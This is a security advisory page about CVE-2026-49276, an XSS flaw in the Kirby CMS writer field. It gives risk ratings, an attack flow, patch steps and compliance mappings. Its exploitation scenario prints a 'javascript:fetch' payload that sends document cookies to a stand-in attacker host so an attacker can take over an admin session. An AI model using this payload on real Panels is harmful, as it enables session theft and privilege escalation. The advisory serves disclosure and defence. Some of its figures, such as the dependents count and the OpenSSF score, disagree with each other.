CVE-2026-49276: Kirby CMS: XSS via writer field malicious links

GHSA-rhj6-r49h-5932 HIGH
Published June 18, 2026
CISO Take

Kirby CMS's writer field fails to block JavaScript URL injection in its link and email marks, allowing an authenticated Panel user to execute arbitrary JavaScript in their own browser session by clicking a crafted link before content is saved. With 479 downstream dependents and no EPSS, KEV listing, or public exploits available, the default attack surface is limited to self-XSS requiring authenticated access, content structure knowledge, and social engineering — but Panel plugins using the raw `<k-writer>` component without output sanitization may be exposed to stored XSS, enabling privilege escalation to admin sessions. If Kirby is part of your AI content pipeline (RAG source management, training data curation), a compromised admin session becomes an upstream injection risk into AI-ingested data. Upgrade to Kirby 4.9.4 or 5.4.4 immediately and audit all custom Panel plugins for unsanitized `<k-writer>` output.

Sources: GitHub Advisory NVD OpenSSF ATLAS

What is the risk?

Risk is MEDIUM. The default configuration constrains this to self-XSS, requiring an authenticated attacker who socially engineers themselves into having a victim click a malicious link before content is saved and backend-sanitized. The elevated risk vector is Panel plugins that render `<k-writer>` output without sanitization, which enables stored XSS and potential privilege escalation from contributor to admin. No public exploit exists and CISA has not listed this in KEV. The OpenSSF Scorecard of 6.6/10 reflects moderate supply chain hygiene, and 35 prior CVEs in the same package indicate a recurring pattern of input validation debt in this project.

How does the attack unfold?

Initial Access
Attacker obtains authenticated Panel access via valid contributor or editor credentials, leveraging the multi-user Panel access model.
AML.T0012
Malicious Link Crafting
Attacker embeds a 'javascript:' URL scheme link in the writer field using the custom URL type, bypassing client-side validation.
AML.T0011.003
Social Engineering
Attacker lures a higher-privileged Panel user to open and click the draft content before it is saved and backend-sanitized.
AML.T0052
Impact
JavaScript executes in the victim's Panel session, enabling session token exfiltration, privilege escalation, or silent admin API abuse.
AML.T0048.003

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Panel composer <= 4.9.3 4.9.4
5.7K OpenSSF 6.9 499 dependents Pushed yesterday 63% patched ~16d to patch Full package profile →

Do you use Panel? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.3%
chance of exploitation in 30 days
Higher than 21% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What should I do?

5 steps
  1. Patch immediately: upgrade to Kirby 4.9.4 (v4 branch) or 5.4.4 (v5 branch) or any later release — both add robust URL scheme validation against dangerous inputs.

  2. Audit all custom Panel plugins that instantiate <k-writer> — verify they sanitize HTML output (strip javascript: schemes) before persisting to content files.

  3. Restrict writer field access in blueprints to minimally trusted roles.

  4. If patching is not immediately possible, disable writer fields in blueprints or temporarily limit Panel access to admin-only.

  5. Scan existing content files for 'javascript:' substrings in writer field data to detect prior exploitation.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
A.6.2.6 - Security of AI system components
NIST AI RMF
GOVERN-6.2 - Policies and procedures for AI risk in third-party components
OWASP LLM Top 10
LLM02 - Insecure Output Handling

Frequently Asked Questions

What is CVE-2026-49276?

Kirby CMS's writer field fails to block JavaScript URL injection in its link and email marks, allowing an authenticated Panel user to execute arbitrary JavaScript in their own browser session by clicking a crafted link before content is saved. With 479 downstream dependents and no EPSS, KEV listing, or public exploits available, the default attack surface is limited to self-XSS requiring authenticated access, content structure knowledge, and social engineering — but Panel plugins using the raw `<k-writer>` component without output sanitization may be exposed to stored XSS, enabling privilege escalation to admin sessions. If Kirby is part of your AI content pipeline (RAG source management, training data curation), a compromised admin session becomes an upstream injection risk into AI-ingested data. Upgrade to Kirby 4.9.4 or 5.4.4 immediately and audit all custom Panel plugins for unsanitized `<k-writer>` output.

Is CVE-2026-49276 actively exploited?

No confirmed active exploitation of CVE-2026-49276 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-49276?

1. Patch immediately: upgrade to Kirby 4.9.4 (v4 branch) or 5.4.4 (v5 branch) or any later release — both add robust URL scheme validation against dangerous inputs. 2. Audit all custom Panel plugins that instantiate `<k-writer>` — verify they sanitize HTML output (strip javascript: schemes) before persisting to content files. 3. Restrict writer field access in blueprints to minimally trusted roles. 4. If patching is not immediately possible, disable writer fields in blueprints or temporarily limit Panel access to admin-only. 5. Scan existing content files for 'javascript:' substrings in writer field data to detect prior exploitation.

What systems are affected by CVE-2026-49276?

This vulnerability affects the following AI/ML architecture patterns: Headless CMS feeding RAG pipelines, AI training data curation interfaces, Content management for AI pipelines, Multi-user AI content authoring platforms.

What is the CVSS score for CVE-2026-49276?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Headless CMS feeding RAG pipelinesAI training data curation interfacesContent management for AI pipelinesMulti-user AI content authoring platforms

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0048.003 User Harm
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

ISO 42001: A.6.2.6
NIST AI RMF: GOVERN-6.2
OWASP LLM Top 10: LLM02

What are the technical details?

Original Advisory

Kirby is an open-source content management system. Prior to 4.9.4 and 5.4.4, Kirby sites using the writer field in any blueprint allowed a scripting link to be included as the target of a link or email link in writer mark components, making the target clickable by the user who entered it and enabling self cross-site scripting in the Panel. This issue is fixed in versions 4.9.4 and 5.4.4.

Exploitation Scenario

An attacker with contributor-level Panel access crafts a page using the writer field, inserting a link whose target is set to 'javascript:fetch("https://attacker.com/exfil?t="+btoa(document.cookie))' via the custom URL type. They then social-engineer a Panel admin — via Slack, email, or a shared workflow — to open the draft and click what appears to be a legitimate reference link before saving. The JavaScript payload fires in the admin's Panel session, exfiltrating session tokens or silently submitting API requests with admin privileges (e.g., creating a rogue admin account). In a Panel plugin that renders `<k-writer>` output without sanitization, the malicious link persists in stored content and fires for every admin who subsequently views the page.

Weaknesses (CWE)

CWE-83 — Improper Neutralization of Script in Attributes in a Web Page: The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

  • [Implementation] Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • [Implementation] Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle X

Source: MITRE CWE corpus.

Timeline

Published
June 18, 2026
Last Modified
July 10, 2026
First Seen
June 18, 2026

Related Vulnerabilities